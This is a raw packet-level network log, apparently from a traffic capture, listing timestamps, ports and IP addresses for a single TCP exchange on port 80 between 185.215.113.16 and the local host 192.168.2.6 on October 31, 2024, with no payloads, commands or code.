Oct 31, 2024 01:19:15.623775959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623785019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623795986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623800993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623816013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623827934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623828888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623850107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623859882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623871088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623898029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623905897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623907089 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623915911 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623919010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623930931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.623939037 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623969078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.623985052 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624027967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624038935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624053955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624058008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624073029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624089003 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624213934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624223948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624236107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624243975 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624245882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624258041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624258995 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624270916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624283075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624285936 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624294043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624315977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624331951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624885082 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624910116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624918938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624924898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624938965 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624955893 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.624984980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.624995947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625008106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625014067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625030041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625045061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625073910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625103951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625108957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625118971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625137091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625154018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625201941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625212908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625224113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625232935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.625232935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625250101 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.625271082 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.661473989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661559105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.661608934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661619902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661637068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661648989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661649942 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.661660910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661674023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661676884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.661684990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.661720991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662257910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662298918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662350893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662364006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662384987 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662404060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662420988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662431955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662444115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662451982 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662468910 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662484884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662501097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662509918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662533045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662534952 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662550926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662554026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662565947 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662573099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662585974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662591934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662604094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662604094 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662616968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662620068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662630081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662638903 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662656069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662672043 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662744045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662755966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.662775993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.662791967 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663031101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663067102 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663077116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663110018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663121939 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663132906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663153887 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663172007 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663291931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663327932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663351059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663368940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663382053 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663383007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663400888 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663418055 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663501978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663513899 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663526058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663537979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663548946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663553953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663570881 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663578033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663588047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663588047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663600922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663610935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663624048 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663640976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663651943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663681984 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663681984 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663712978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663774967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663793087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663810015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663824081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663906097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663937092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.663964033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663974047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663985968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.663992882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664009094 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664016008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664026976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664038897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664045095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664052963 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664062977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664064884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664064884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664076090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664077997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664088011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664098024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664129972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664135933 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664141893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664155006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664160967 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664167881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664181948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664189100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664196014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664216042 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664232969 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664263010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664273024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664294958 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664298058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664310932 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664310932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664324045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664326906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664344072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664359093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664361000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664370060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664381981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664390087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664391994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664405107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664406061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664424896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664431095 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664442062 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664448977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664459944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664465904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664479971 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664484024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664494038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664495945 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664505959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664516926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664524078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664545059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664545059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664546967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664560080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664563894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664573908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664577961 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664591074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664597988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664602041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664609909 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664614916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664628029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664654970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664666891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664679050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664697886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664715052 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664772034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664782047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664799929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664804935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664822102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664830923 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664834023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664846897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664849997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664860010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664871931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.664875984 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664892912 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.664918900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.665529966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.665566921 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.665577888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.665608883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.665827990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.665863991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666033030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666044950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666057110 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666066885 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666066885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666080952 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666085958 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666094065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666105986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666115999 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666125059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666132927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666162014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.666943073 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666954994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666965961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.666977882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667006016 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667079926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667092085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667113066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667151928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667218924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667252064 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667324066 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667356014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667491913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667500973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.667522907 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.667540073 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.737904072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.737946033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.737957954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.737971067 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.737982988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.737983942 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.737994909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738007069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738008976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738043070 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738078117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738104105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738115072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738115072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738135099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738141060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738157988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738176107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738209963 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738245010 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738301039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738312006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738323927 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738334894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738365889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738380909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738382101 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738393068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738414049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738418102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738429070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738430977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738440037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738471031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738471031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738495111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738506079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738516092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738517046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738528013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738528013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738540888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738554955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738559961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738571882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738583088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738591909 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738620043 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738631010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738641024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738641977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738651991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738668919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738671064 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738688946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738703012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738713980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738722086 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738725901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738738060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738748074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738759041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738795996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.738796949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.738815069 CET	80	49995	185.215.113.16	192.168.2.6
